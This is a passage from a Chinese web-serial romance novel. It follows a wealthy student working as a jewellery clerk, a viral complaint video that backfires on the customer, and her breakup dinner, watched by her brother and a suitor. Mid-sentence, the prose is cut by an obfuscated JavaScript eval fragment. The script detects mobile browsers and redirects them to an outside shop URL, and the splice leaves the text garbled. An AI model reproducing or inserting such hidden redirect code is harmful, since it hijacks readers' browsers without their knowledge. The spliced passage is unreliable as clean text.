祁迹已经半蹲在她面前,抚上了她微肿的腿,“放松。” 骨节分明的手指游刃有余地放松着她的肌肉,“还有一下午,腿不想要了?” 火烧云瞬间从岑似宝的脸颊蔓延至脖颈,想要躲开,可祁迹看似没有用多大力,却足以牢牢将她桎梏。 “你先放开,我自己会按。”她咬牙说。 祁迹心知她也就是嘴上说说,八成只会敷衍。 他仰起头,轻笑:“你就当……是岑衡让我帮的忙。” 岑似宝能感觉到,此刻自己的脸一定很红,所以在他抬头的瞬间就立刻挡住了脸,不想叫他看见,“你都这么说了我还怎么当?” 可她连指尖都是红的。 祁迹没有戳破,继续帮她舒张小腿,将笑意藏在眼睫下。 岑似宝也慢慢放下手,看着专注在她腿上的男人。 浓淡刚好的眉毛,高度刚好的鼻梁,褶皱刚好的眼皮,深浅刚好的轮廓——她仰起了头,抓紧了桌边。 真是该死地刚好贴合她的审美啊。 祁迹感受到她身体的紧绷,抬起头,“疼?” 她立刻松开了手,别别扭扭说:“不疼啊,没事。你手法还挺好的嘛。” 确实没有先前那么酸痛了。 “你笑什么。”岑似宝敏锐捕捉到他浮动的嘴角。 祁迹斟酌两秒:“得到了第一位,也是唯一一位客人的肯定,不可以笑?” “哼。”岑似宝没有说话了。 因为太过舒服,岑似宝逐渐放松了下来,困意也上来了。 她打了声哈欠,静静看着他的脸出了神。 也因此没有察觉,祁迹不知不觉已经停下了动作。 等她发觉的时候,青蛙已经被温水煮熟了。 祁迹已经起身,长腿一迈,两手不疾不徐撑在她身侧,将她密不透风圈在了桌子与心口之间。 岑似宝怔怔看向他,他慢条斯理说:“玩够了,该跟那个丁耀祖分手了。” 岑似宝一时都不知道自己该不该笑,嘴角提起又落下 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“我说、我追了你那么久、那么没面子!要是被我哥知道了,肯定要心疼我的。” 说着,她眨巴了一下眼,“为你做过的每一件事,我都记得清清楚楚。” “你丢了东西,我花了好长时间帮你找。” “你车子抛锚了,我立刻赶去接你。” “你生病了,我好担心,跑过去照顾你。” “还有好多好多……可你呢?” 岑似宝的声音逐渐低落了下来。 她觉得自己好可怜,居然为一个男人付出了这么多,简直有违岑家家训。 祁迹托着她的后颈,望着她令人生怜的表情,压低声音:“是啊,大小姐。” “你为我做的每一件事,我也都记得清清楚楚。” “我左边的袖扣丢了一颗,你比照着右边的帮我找。找了十分钟,右边的也丢了。” “我车子在市区抛锚,你开车来接我。最后把车开到了郊区,没油了。” “我高烧39度的时候,你来照顾我。照顾完,我高烧40度。” “还有好多、好多。追求我,委屈你了。”他轻叹一声。 岑似宝双眼游移,顾左右而言他:“嗯?是吗?我怎么不记得后续是这样的。” 他单手捧起她的脸,轻轻揉弄了两下颊肉,“刚才不是记得挺清楚?” 岑似宝:“我明明只记得我对你展开了猛烈追求啊。” 祁迹嘴角一勾,眼底漾开一池春水,“是猛烈追杀吧。” 岑似宝的每根眉毛都炸了起来:“?!” “抱歉,确实是追求——”他退让,眉梢一扬:“为期三天的长久追求。” 岑似宝彻底恼羞成怒,板起了脸:“哦,真是不好意思啊,哪怕只有三天,也给你造成很大困扰了吧。” 她故作轻松地撇开脸:“难怪你不喜欢我呢,我了解啦。” “本来还以为你至少对我有那么一点点喜欢,原来是我自作多情。” “放心吧,以后不会再打扰你了。” 说完,她拿下祁迹的手,用力推着他的胸口准备离开。 祁迹没有动,反手抓着她的手,亲了一下,笑声低哑:“没有报警,还不能证明喜欢你吗?” 8.第 8章 二更合一 岑似宝的心也随着那轻轻落在手上的触感颤了一下。 她“嗖”得收回了手,随即才反应过来他话里的意思。 一抬眼,再一次撞进了祁迹的眼潭里。 她下意识屏住呼吸,好让自己的心脏跳得慢一些,躲开他的耳朵。 从小到大,向她当面表白的人数不胜数,她从来没有什么心跳加速的生理反应。 要怪只能怪祁迹,仗着那张脸勾引她。 祁迹也不知是不是听到了她的心声,笑容更深了,“大小姐,现在可以分手了吗?” 岑似宝的理智回归,还是推开了他,跳下了桌子,回过头,像个轻飘飘甩钱的渣女:“不管我分不分手,都不要跟你在一起。” 祁迹眸子眯起:“为什么?” “我这也是为了你好。”岑似宝认真说:“要是我们在一起了,我哥可能会打死你的。” 祁迹失笑:“我倒也没有那么弱。” “那你这意思,是要跟我哥动手还击呗?”岑似宝冷笑。 祁迹:“……”竟一时百口莫辩。 岑似宝看了眼时间,止住他的话音:“不早了,我得回店里了,再见,下午说不准还有场硬仗要打呢。” “受委屈了?”祁迹追问。 岑似宝得意地一扬下巴:“我会受那种人的委屈?他受我委屈还差不多。” 说完,祁迹便看着她毫不留恋地离开了办公室。 走前还不忘将那袋鲜肉月饼提走。 而祁迹则坐回了办公椅,扶着额头思索良久后,低低地笑了起来。 门没有关紧,他的笑声传入了再次来到门前,准备汇报工作的余助理耳中。 他又一次推了推冰冷的镜框。 真是太好啦! 岑似宝擦着下午到岗的时间点回到了店里,上晚班的人都已经到了。 周姐看她风尘仆仆,皱起了眉,“小岑,你下次还是要早一点回……” 话说到一半,就见岑似宝笑眯眯地打开袋子,“周姐,你拿一盒吧,中午听你说,你家还有小孩子?喏,带回去热一热就好了,很好吃。” 鲜肉月饼祁迹买得多,她连同张曼两个人也吃不完。 周姐停住话头,“啊?这怎么好意思。” “别客气。”岑似宝又朝前递了递,“我吃不完也是浪费。快拿,还有一分钟就上班了。” 周姐的表情缓和了许多,“那,那谢谢你了啊。” “不用谢。” 她不好意思地拿了一盒,看到标识,好奇道:“不过,这是联记?是在附近开分店了吗?” “没有吧。”岑似宝将袋子放进柜子里。 周姐一震:“那不是很远吗?你一整个中午的时间,就花在跑过去买这个了?”她满脸写着不赞同。 岑似宝随口说:“当然不是我买的,是别人送的。” 周姐看着她脸上明显比上午愉悦不少的表情,又发现她的鞋子也换了一双,意味深长笑了一下:“哦,我明白了。” 岑似宝转过脸,“你明白什么了?” “没什么。”小姑娘脸皮都薄,她也不说什么了。 晚班的两人要从下午上到晚上,年纪与周姐差不多。 周姐之前应该是已经跟她们介绍过岑似宝了,除了多打量了几眼她,其他并没有交流什么,依旧不冷不热。 下午进店的客人要稍微多一些,但客流量也远低于对面的牌子。 到岑似宝下班的时候,一件珠宝都没有成交,所有人也都习以为常。 临近下班时间,没有客人时,周姐又带着岑似宝盘点货品。 张曼也下班了,询问岑似宝要不要等她,她摇头:“不用了,你先回去吧,我下班后还要去找一趟丁耀光。” 张曼明白她找他要做什么,默契道:“好,到时候好好跟他说。” 岑似宝若无其事回到店里,就见店长朝她走来,气势汹汹:“我刚才收到通知,我们店吃了个投诉,关于服务态度问题,你是不是惹祸了?” 周姐闻言,脸色一变,担忧地看向了岑似宝,她却一脸淡定。 店长在原地走了两圈,雷厉风行道:“马上跟我一起联系那个投诉的顾客,赔礼道歉!” 岑似宝抬脸:“道歉是不可能的。” “不然你就等着走人!” 张曼独自坐上地铁,刷着手机。 不知是不是因为岑似宝今天第一天上班,她们提了两嘴,被后台麦克风捕捉识别,社交平台居然精准给她推送了一条顾客吐槽珠宝店的视频。 她笑了笑,打算看完转发给岑似宝瞧一瞧,有没有前车之鉴可以吸取。 视频才刚发出来,还没有多少评论,推送给她可能也有同城的因素。 一打开,她就看到了一个长相普通的男人,愤懑张口:“兄弟们,今天发生了一件事,我不吐不快,在这里也是给你们提个醒,免得踩雷。” “裕丰珠宝的柜姐,把我的婚事给搞砸了。” 张曼一愣,随即拧起了眉。 那人继续说:“事情的原委呢,是这样的,我跟我老婆快要领证了,今天休假,就打算一起去把三金买了。本来是高高兴兴去的,特意选了一家老牌珠宝店,想着靠谱,结果最后受了一肚子窝囊气。” “我钱不够,所以想着先用金包银过渡一下,以后肯定是会给我老婆补上更好的,这个不用怀疑。结果就因为这样,被阴阳怪气了。” “那柜姐话里话外的意思呢,就是我穷,我廉价,所以我不配结婚,还撺掇我老婆换个老公,态度高高在上得不行。” “我就问了,你们裕丰珠宝就是这么对待客人的吗!” “现在我老婆也被她蛊惑,吵着闹着要跟我取消婚约了。” “当时另一个柜姐跟我道歉说,那个人是新来的,不熟悉业务。你们看看,又要拿临时工那套糊弄咱们老百姓了,谁信啊?” “你们裕丰的价值观就是这样的了,只给有钱人好脸色呗,我们穷人就配不上你们店呗?反正我已经投诉了,不把那个柜姐辞退,还有赔偿我精神损失费,我是不会罢休的。” 张曼的眉心打起了结,这些描述:裕丰,同城,新人,她几乎立刻就想到了岑似宝。 更巧的是,中午吃饭的时候,岑似宝也提到了今天遇到过一个奇葩客户。 不过当时她说不想坏了食欲,打算晚上再跟她说。 此时,视频底下的评论区基本都是与博主感同身受,一起帮着声讨裕丰珠宝的。 【小粉红们这辈子有了:太能理解主播了,我国大部分小仙女是这样的,见到有钱人就跪舔,对普通人就阴阳怪气,其实到最后还是要找老实人接盘。我直说了,主播的老婆也不是什么好东西,嫌贫爱富,分了好,大丈夫何患无妻。】 【很men:什么玩意儿,以后拉黑裕丰了,别想赚到我一分钱,我老婆要是敢去,直接给她休了。】 【有点小帅的:是哪家店啊?直接开盒吧,主播跟我同城,正好闲得慌没事干,去给那个柜姐上上课[坏笑.jpg]】 【有缘加我:直接把地址发出来吧,大家一起去团建啊[狗头.jpg][狗头.jpg][狗头.jpg]让她见识见识我们穷人的力量。】 张曼看着这些暴露智商、文化与素质的污言秽语就一阵恼火。 她刚想联系岑似宝看看说的是不是她,岑似宝却没有接电话。 紧接着,原视频竟然删除了。 有网友在这个博主的其他视频评论区问是不是裕丰打钱、被公关了,这人却直接将账号设为了私密账号。 更有人不肯罢休,摸到了裕丰珠宝许久没有发过动态的官方账号去,开始了质问、辱骂。 可不过十分钟,裕丰珠宝也发布了一段音频。 那应该是从监控中拷贝下来的,略微嘈杂的电流声中,一道男声清晰可辨:“老婆,随便挑,可别给我省钱啊。” …… “哎,你们这儿,有金包银的款式吗?” “是这样的,我想先跟你说好,待会儿,你给我拿些金包银的款式,但是不要说出来。” 音频空白了两秒,一道清亮的女声响起:“先生,您的意思是,让我给您提供一些金包银的首饰,但是要骗住您的未婚妻,让她以为是纯金的?” 听到这里,所有人的脸色都变了。 已经有人开始删除自己的评论了。 几句过后,女声并没有制止,反而笑着说:“那钻戒,要不要我也给您找几款莫桑石的,再跟您未婚妻说是真钻石?” 围观者开始皱眉。 【小粉红们这辈子有了:我还以为真反转了呢,男的是有点问题,但这个柜姐也不是个好东西啊,只能说蛇鼠一窝吧,我没骂错人。】 【下头男离我远点:一直搞不懂你这种不愿意听完、了解完再下判断的人——是后天大脑萎缩得太厉害,接收不了太多信息呢,还是先天发育异常的无脑回畸形呢?】 音频里,女声饱含熨帖的笑意:“先生,看到那家超市了吗?” “您要买钻戒呢,里头有卖钻石糖的,带戒圈。十个手指头戴满了,也不超过十块钱。那里头添加的阿斯巴甜啊,就跟您的爱一样甜。” “要买三金呢,您就去买几块金币巧克力,论斤称,五毛钱一个。您把外皮剥下来,揉吧揉吧,就跟金的差不多。还相当于免费得了几块代可可脂巧克力呢,就跟您的爱一样浓得化不开。” “多好啊。” 【一天一苹果:笑死我了,这柜姐骂人的角度真是好清奇啊!】 【互联网不是法外之地:哈哈哈哈哈我翻来覆去听了好几遍,怼得也太爽了吧!那个男的一句话都接不上。】 原本的声讨视频其实根本还没有发酵,但因为这几句话,反倒彻底传播开了。 【贪吃蛇叮咚:说个题外话,这个柜姐的声音很好听,能感觉出来是个三观正的大美女。】 【好想辞职:太会说了,一直以来对裕丰的印象只是个很老派的牌子,不太感兴趣,里头的柜姐好像也基本年纪比较大,审美也不适合年轻人,没想到居然也有这么新潮的柜姐啊哈哈。】 【我这暴脾气:看到裕丰说要追究那个男的,以及评论区跟着骂的恶臭男们的法律责任,那些言论我已经截图私信给裕丰了,删也没用。】 【心平气和:叫嚣要去团建的男的呢?现在还去吗?物以类聚,说什么裕丰别想赚到他的钱,笑死,事实是钻石糖和金币巧克力都舍不得买,这辈子唯一接触到金的机会,也就是死后烧的金元宝了——都不知道有没有人给烧。】 【鸭梨:呜呜我好想去见一见这个犀利的柜姐啊,先线上下单,以表支持。】 【一夜暴富:裕丰回应得好迅速,也好解气,这男的是怎么有脸扭曲事实发到网上的,还要赔偿?是觉得裕丰作风太老派,只会道歉吗?】 望着快速反转的评论区被正常人占领,张曼放下心来。 但惩罚还不够。她面无表情看着不断因心虚删除的评论,联系了说截过图的网友。 “姐妹,你要截图干什么啊?不会是那些人说的开盒人.肉吧?这应该是违法的,可别为了那帮垃圾违法乱纪啊。” 张曼:“不是,放心吧。” “哦哦,那是要拿截图去私信打他们的脸吗?哈哈那我赞同,我已经干过了,还有好多人,他们的私信估计都爆满了。” 拿到截图,张曼登上自己的小号,挨个打开这些人的主页。 没怎么费力气,她轻易就在关注列表找到了这些人的亲友们,长辈、兄弟、同学…… 然后将言论截图一一发送给了对应人士的亲友们。 说要休老婆的,发给对方的老婆;污秽偏激的,发给对方网恋的暧昧对象…… 挨个发完,她淡定自若地注销了小号,关掉软件。 刚好收到了岑似宝的回电。 岑似宝:“怎么啦,突然打我电话?” 张曼脸上露出笑容:“哦,没什么,刚才只是想问你,要不要帮你去学校食堂打包晚饭。” 她不是什么好人,不过这种事,也没必要让岑似宝知道。 “对了,你刚才怎么没接电话?” 岑似宝一顿,她刚才在跟店长据理力争,“没什么,就是盘货花了点时间。” 虽然那人又突然撤销了投诉,但这种事,没必要让张曼担心。 “不用帮我打包了,我在外面吃,到时候帮你带夜宵啊。” “那我就等着了。” 回到店里,谁都没走,正在窃窃私语。 店长皱眉看了许久手机,接着走到岑似宝面前,神色比方才要温和不少:“裕丰总部已经帮忙澄清了,现在网上的风向对我们很有利。” 她不自然道:“这回,是我有点着急了,你别太在意,我跟你道歉。” “只是干我们这行的,顾客就是天,更别说他还发到了网上。再小的舆论风波,都有可能直接毁掉一个品牌。” 岑似宝嘴角扬了扬,并没有得理不饶人:“我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036996|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解的,店长,不会怪你,不过,这件事本来就不止道歉这一种解决办法。” “没别的事,那我就下班了。再见。”岑似宝朝几个同事挥了挥手。 几人看着她潇洒地离开了。 周姐喃喃:“你们说,她明天还会来吗?” “难缠的顾客,站肿的腿,我本来是觉得,过了今天,她肯定要打退堂鼓了的。但是现在,好像有点刮目相看了。” 店长脸色复杂:“要说前者,我觉得,她可能比顾客更难缠。” “要说后者……我怎么没看出她腿肿了?”她困惑,“因为腿太细?” 岑似宝坐在车后座,终于纡尊降贵将祁迹的账号重新加了回来。 对面迅速通过了,好像一直守着似的。 岑似宝啪啪打字:“谁让你插手的,我还想着等事情再大一点再处理呢,能省一大笔营销费用,计划都被你打乱了!” 苗头还没长出来就被掐灭,她一想就知道是谁干的。 祁迹:“辟谣的战线拉得太长,对品牌形象有损。另外,现在也省了一大笔营销费。” 岑似宝也没有那么不知好歹,还是发了句谢谢。 祁迹斟酌了一下,回了张岑似宝以前发过的表情包。 岑似宝看着他的消息,眼睛睁大了。 祁迹以前给她发过微笑表情,被她狠狠吐槽,后来就再也没有发过任何表情。 “别再开屏了[微笑.jpg]” 望着屏幕,祁迹嘴角稍提。 与此同时,他还收到了一条消息。 岑量:“谢谢提醒了,没想到那恶心视频刚好就被你刷到了,也真是巧了。晚上有空吗?请你吃饭。” 祁迹微顿:“只有你?” 岑量没有多想:“嗯,小宝好像有别的事,不过她不来也没什么,怎么说也是咱俩关系更熟。” 祁迹应下,让余助理将晚上不重要的行程推了。 岑似宝心情不错,在餐厅门口下了车。 丁耀光也刚好到,看到岑似宝,他眼睛一亮,走了过来,一开口还是抱怨:“怎么选了这个地方,这么高档,很贵吧?” 岑似宝伸手:“别担心,我请客。” 丁耀光走在她身后,听着悦耳的钢琴声嘀咕:“唉,约个会,花钱也太大手大脚了,以后可怎么办……” 来到提前预定好的位子,岑似宝正要点菜,丁耀光突然说:“你等一下。” 岑似宝:“怎么了?” 他打开手机,“我看看这家店有没有便宜的套餐团购,也能给你省点钱。” “我去,这双人餐怎么这么贵啊,金子做的?居然还要收服务费!”丁耀光咋舌。 他接着翻了翻,抬头凑近:“要不,咱们点两份儿童餐吧?我看没有写限制年龄,也就是量少点,但是价钱只要一半。反正来这儿还不就是吃个气氛,拍个照,发朋友圈装一装?” 岑似宝沉默了片刻,心平气和道:“学长,你挺厉害的。” 丁耀光不好意思:“是吗?” “嗯,能让我说不出话的人,不太多。” 丁耀光不解,岑似宝已经捏着他的手机,抽到一边,“说了我请客,不用替我省钱。” 丁耀光便没有再推辞,等待上菜的间隙,他看向岑似宝,“我还有件事想问你。” 他小声说:“我今天下午,刷到了裕丰珠宝发的一段音频,里头那个柜姐的声音,听起来特别像你,不过,应该不是你吧?” 与此同时,餐厅外,岑量,祁迹和薄乐下了车。 薄乐刚好想跟祁迹谈合作的事,听说二人要出去吃饭,立刻死皮赖脸加入了这场答谢宴。 薄乐左看右看祁迹,衣着得体,风度翩翩,一如往常。 他却挠了挠下巴,“祁总,你最近好像心情不错啊?” 明明在画廊那天,脸上还沉得能滴出水来。 岑量也这么觉得。 更奇怪的是祁迹对他的态度,说不清道不明,他总觉得后背发凉。 “我记得,以前你可是很难约的,怎么现在一约一个准。业务量少了?研发进度停滞了?还是资金链濒临断裂了?” 薄乐啧了一声:“你说点儿好的吧。” 面对两人的疑问,祁迹只笑不语。 进了门,一抬眼,他脚步微顿,嘴角的弧度也收敛了起来。 “看什么呢?” 身后两人刚问出声,就在安静的餐厅里听见了一声震惊:“你?居然去当柜姐?!” 薄乐循着熟悉的声音望去:“咦,这人,不是丁耀光吗?” 而他对面,背对门坐着的女孩身姿婀娜,脊背挺直,优越的小半张侧脸同样眼熟…… 岑量的脸色也变了,一字一顿:“岑似宝。” 薄乐震惊:“这两个人,怎么会凑到一起的?” 坐在二人附近的人们都不满地将视线投向了丁耀光。 他也无法顾及了,只勉强让音量小了些:“你疯了?你一个高材生,居然跑去当什么柜姐?我说出去都不好听。” 即使四周的目光正若有似无地打量,岑似宝也没有丝毫羞惭,只是歪着头,看着对面的丁耀光,叹了一声:“不用担心,我要做什么,你都管不着了,也不必担心好听还是难听。” “为什么?”他一懵。 “因为叫你出来,是想提分手的。我只是觉得应该有始有终,要重视一些,所以选了这里。” 特意落座隔壁的三人再次一顿,精彩纷呈的表情被两棵大型绿植挡住了。 相比岑量和薄乐的冲击,祁迹举起杯子喝了一口水,唇角不着痕迹一勾。 丁耀光不敢置信地看着那张令他一见钟情的脸:“你说什么?分手?” “不是,为什么无缘无故提分手啊?在一起才一个多礼拜,咱们相处得不是很好吗?连一次架都没有吵过。” 岑似宝言简意赅:“我觉得你的品性,与我不太能合得来。” “那谁跟你合得来?”话音落下,一个身影在他脑海中闪过。 他恍然:“我知道了,是因为你的牙医,是不是?你看中你那个牙医了,是不是!” “好啊,我先前就看出来了,你俩关系绝对有猫腻!那个时候要不是有我在,你俩是不是都打算亲上了?” 隔壁坐着的几人身体再一次凝滞。 岑量的神情尤为震撼。 “她的牙医……”他喃喃出声:“不是个五十多岁的女医生吗?” 祁迹缓缓抬起头。 9.第 9 章 岑量撑着额头,陷入了深深的不解中,并没有注意到祁迹的眼神。 绿植背后安静了一会儿,岑似宝没有立刻回答,只是望着对面愤怒难平的丁耀光,用最后一点耐心说:“与别人无关。” 她愈发后悔当初答应丁耀光了。 真是知人知面不知心,他居然完全没有意识到自己的问题。 “我再说一遍,你的性格,还有说过的话,都让我觉得不舒服,这才是跟你分手的原因。” 丁耀光看她表情认真,慌乱起来:“我知道,我可能是有点抠门了,但那都是为了我们的将来打算啊。” 岑似宝歪了歪头:“我们的将来?你是不是有点……”她斟酌了一下,“想多了?” 丁耀光只顾着道歉:“对不起对不起,还有刚才也不该那么说你的,我说话没过脑子,求你了,别分手。” 曾经他还以为他可以掌握岑似宝的主动权,因为她的家境,觉得自己比她更优秀,可以在婚姻大事上随意割舍。 现在却完全生不起一丝嫌弃的心思了。 任他哀求,岑似宝不为所动。 “可我是真的喜欢你啊,你不是也喜欢我的吗?不然为什么会答应我?”他抱着一丝希冀问。 岑似宝搅了搅杯中的玻璃吸管,有些为难地抬眼:“其实,不是你,也会是别人。” 他与她其他追求者没有什么不同,这句话给了丁耀光最后一记重击,他低下了头,“我不信。” 岑似宝开始不耐,张了张口,他就站了起来,“你再好好想想,行吗?” 说完像是怕岑似宝直接说出什么令他难堪的话,逃也似的冲出了餐厅。 岑似宝看着他的背影,无语:“这速度,怎么不去演冲出亚马逊呢。” 对她来说,根本没有什么多想想的空间,从此刻开始,丁耀光已经是她不会再想起的过去式了。 不远处,岑量听得眉头紧锁,对丁耀光的嫌恶都写在了脸上,刚想要走过去,却被祁迹按住了肩膀。 岑量扭头看他:“?” 祁迹淡声说:“还是别过去了,丢她的面子。” 岑量想了想,确实。 岑似宝没有告诉他,应该就是想独自处理,现在闹得不欢而散,他要是走过去,她八成得恼羞成怒。 尤其是他们三个大男人刚才也算是听了墙角,更是她的大忌。 他这才勉强按下了问询的心思,转而觉得不太对劲,望向祁迹:“你怎么这么了解她?” 祁迹不慌不忙说:“她的心思,很难猜吗?” “也是,毕竟她那么单纯。”岑量的怀疑被打消了,叹息一声,“这样很容易受男人的伤害,所以我才担心她。” 祁迹和薄乐没有接话,眼观鼻鼻观心,各自低头喝了口水。 也不知是谁伤谁。 都伤心地冲出餐厅了,她在那里建议人家去演冲出亚马逊。 祁迹嘴角掠起一抹弧度。 隔壁,岑似宝一个人,便没有留下,打包了菜品就直接离开了餐厅。 望着她轻松的步伐,岑量看出她没有受到一丝失恋的影响,这才彻底放下了心。 旋即有些欣慰:“那个抠门的哆啦A梦,早点甩了也好。” 但想到什么,他又看向薄乐,“听你刚才的意思,那男的是你的人?” 听他算账的语气,薄乐干笑了一声:“你不要说这种有歧义的话好不好,他只是我手底下的一个员工而已。” 岑量皱眉抱胸,瞧着有些凶悍,“你手底下的人骗我妹妹谈恋爱,你居然不告诉我?” “我冤枉啊我。”薄乐立即否认,急得五官都皱了起来,“我压根就不知道这事儿,他跟我说她女朋友父母双亡,这开头不就排除了咱妹妹吗?” “嗯?”岑量露出了与之前的祁迹如出一辙的困惑表情。 他是知道岑似宝的,她从来没有到处宣扬自己的家庭背景,不过跟亲近的人也不会特意隐瞒身份,更习惯于主动挑明,合得来的再做朋友。 丁耀光哪怕不知道岑似宝的家庭情况,按理说也不应该往截然相反的方向想。 薄乐兀自沉思了片刻,轻声说:“我突然想到……他是不是防着我,才故意在我面前说女朋友家境很差的?” 他抬起头:“这小子,也太特么有心计了。” 一直沉默的祁迹突然出声:“她的牙医,是怎么回事?” 想到方才丁耀光控诉的那条“你俩是不是都打算亲上了”,他下颌线一紧。 岑量朝后一靠,也犯了难:“我也不清楚啊,按理说她跟她的牙医之间怎么可能有什么呢,那女牙医头发都白了小半了。” “人倒是长得挺慈眉善目的……但她也不缺母爱啊。” 他思来想去,“我是不是,已经跟她这个年纪的女孩有代沟了?” 祁迹又是一阵沉默,不知在想什么。 许久后,他拿起外套,淡然起身,“走了。” 两人皆是一愣,薄乐:“哎,不吃饭了啊?那我的事呢?” “线上说。” 岑似宝坐在汽车后座,看着窗外的雪景。 了却了一件事,她轻松无比。 祁迹要是知道了,恐怕高兴得要跳起来,她故意这么想。 结果脑中那个Q版小祁迹还没跳,她先跳起来了。 汽车一个颠簸,接着是撞击声,要不是系着安全带,岑似宝恐怕要直接被颠到前排。 她稳住了心神,茫然地探过头去问司机:“这是怎么了?” 司机一脸苦相,“前面的车突然急刹,路滑,追尾了。” 岑似宝皱起眉,下了车,才看到是前面有车发生了车祸,由于晚高峰车多,后面的车没有保持车距,因此连环撞上了。 祁迹正独自开着车,开到十字路口处,朝窗外一瞥,一眼就看见了车祸现场,已经围了许多人。 正要收回视线,却紧接着发现了站在后头一辆车边的岑似宝,她正踮着脚尖,朝前方看去。 望着那变形的车头,他眉宇一凛。 岑似宝正观望着事故现场,她个子不够高,想要去前面看看人员伤亡情况,却又怕看到什么血肉模糊的场景。 正犹豫着,突觉身旁有一阵风袭来,一抬头,看到了祁迹的脸。 他的脸色有些难看,将她转向自己,从上到下打量了一番。 岑似宝反应过来他在担心什么,“我没事儿,你可千万别告诉我哥。” “没有受伤?” “没有啊。”顿了顿,她眼珠一转,又补充:“也不是全然没事,就是司机急刹的时候,被安全带勒了一下,现在还有点疼。”说着揉了揉心口。 祁迹的表情果然又紧绷了起来,“上车。” 岑似宝没有拒绝,跟司机说了一声,便坐上了祁迹的车。 附近几百米外就有一家医院,祁迹很快便带着她到了地方,从车上拿出口罩,给她戴上。 岑似宝扯了扯耳后的带子,跟着他进了医院。 急诊人很多,两人耐心地排着队。 “你怎么会在这儿呢?这么早就下班,也太对不起你手底下努力的员工们了。”岑似宝故意说。 祁迹瞥了她一眼,也看出她应该问题不大,吊着的心总算微放,“你哥请我吃饭。” 岑似宝立马坐直了:“岑量?” 祁迹轻笑一声,“不然还能是岑衡?” “他怎么没跟我说,就只问我今晚有没有空。”岑似宝嘀咕。 祁迹听到了,反问:“你想跟我吃饭?” 岑似宝别过脸,“你想得美,我只不过是想,跟我哥一起吃饭,不用我付钱。” 祁迹若有所思:“钱不够用?” 岑似宝哼了一声,“够用啊,但我就是喜欢有人给我付款,怎么了?” “没怎么。”祁迹嘴角噙着淡笑,“既然如此,下次可以叫上我。我很乐意为你付款。” 岑似宝抿着唇,望向窗外,掩饰自己的笑意。 祁迹看着她的侧脸,突然问:“你今天晚上出来……有事?” 岑似宝思索片刻,还是不想立刻说出自己找丁耀光提分手了,让祁迹太得意,于是只说:“没什么事,就是出 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岑似宝没有怀疑什么,认真推荐:“我的牙医还不错,很负责,也很有耐心。” “男的?” “不是,是个女医生,年纪比较大,很温柔。” 祁迹注视着她的双眼,“你很喜欢她?” “当然了,要是不喜欢,我也不会推荐给你啊。”岑似宝一脸他在说什么废话的表情。 祁迹打量了一阵,突然松了口气。 她方才提到喜欢时,眼中的情感明显只是提及了一个有些亲近的长辈。 好在那到底只是个荒谬的猜想。 后半程,祁迹专注开车,反倒是岑似宝总时不时悄悄看他一眼,脑中闪过无数画面。 车子登记后驶入学校,最后停在了宿舍区门口。 岑似宝立刻身体前倾,将一路上的好奇都发了出来:“你快让我看看你的牙呢。” 她实在想象不出,祁迹这种成熟斯文的霸总生出蛀牙,或是长出一颗阻生智齿的样子。 光是在脑中想一想Q版小祁迹捂着嘴,啊啊叫着满地打滚的情景,她的嘴角就忍不住幸灾乐祸上扬了。 你也有没法冷静的一天啊。 祁迹定神看了她一会儿,颔首,朝她勾了勾手,“过来。” 岑似宝立刻满怀期待朝他凑了过去,却被忘记解开的安全带困住了。 下一秒,一道颀长手臂伸出,卡扣便松了开来。 绷紧的安全带瞬间弹起,在抽到岑似宝之前被祁迹抓住了尾端,轻轻放回。 岑似宝这时才发现,两人的距离过近了。 祁迹没有收回手,望着她的目光也没有丝毫收敛,蛊惑说:“还要看吗?” 岑似宝忍不住看向他浮现笑意的唇,泛着健康的红的,柔软的,因为说话而微张的——刚刚好,可以伸进她的一根手指。 祁迹看着白皙脸庞在一瞬间红透了的岑似宝,缓缓眨了一下眼,哑声问:“想到什么了?” 下一刻,岑似宝便反手拉开车门,一个箭步冲下了车:“当然是想到你肯定是天天晚上偷吃零食才会牙疼的!!” 说完立刻将车门“啪”得关上,顶着透光的红耳朵,头也不回地朝宿舍门走去。 路灯下,雪地上留下了一串串崭新的脚印,间距极大。 祁迹坐了回去,气定神闲地敲了敲方向盘。 十秒后,察觉忘拿东西的岑似宝又原路返回了。 雪地上留下了新的脚印,间距更大了。 她两手握拳,自觉丢人,这种时候,一点也不想被他看见。 于是她决心,待会儿在他望过来的时候,刻意摆出一张冷漠而高傲的脸;在他出声笑她之前,先一步用冷漠而高傲的语气要回东西。 可还没等她开口,面前的车窗就缓缓降下了。 驾驶座上的人没有露出脸,也没有看她,车窗里只是伸出了一只修长有力的大手,指尖勾着她落下的打包袋,轻轻晃了晃。 10.第 10 章 岑似宝看着那只好看的手,心突然静了下来。 她缓缓伸出手,接过了袋子。 接触间,指尖擦过祁迹的手心,犹如鹅绒落下,他手指突然收紧,攥住了那根鹅绒。 不过只有一刹那,又松了开来。 雪片簌簌落着,在路灯晕开的暖光中,像是揉碎了的星子,铺洒在纤长的身影上。 她裹在蜂蜜色的大衣里,步伐微微摇晃,雪地上的脚印间距变小了。 岑似宝走得很慢,能感觉到,身后,坐在车里的人一直在望着她。 她全副心神都在身后,围巾的一端渐渐被风吹得垂了下来,柔软的流苏被风裹挟晃荡着,几乎就要拖到雪面。 即将坠地的前一秒,一道挺拔的身影徐徐俯身,将那一端接住。 岑似宝感觉到轻微拉扯,转过头,果然是祁迹。 他摇了摇头:“不好好走路。” 岑似宝看向他的手,瓮声瓮气说:“谢谢你特地下车,帮我捡围巾了。” 祁迹轻笑了一声:“不是为了这个。” 他将围巾给她重新围了一道,淡声说:“在我面前,不用担心丢脸。” “好了,进去吧。” 岑似宝的下半张脸隐在围巾里,只有一双灵动的眼睛向上望了望他,接着挥了挥手,终于走进了寝室大门。 进了门,过了转角,确定背后的祁迹看不见自己了,岑似宝立刻迈开了脚步狂奔。 一路回到寝室,她跑到了窗口,朝下看去,正好看到祁迹仰着头,望向这个方向。 树枝挡着,看不清他的双眼,只能看见他的影子被路灯拉长。 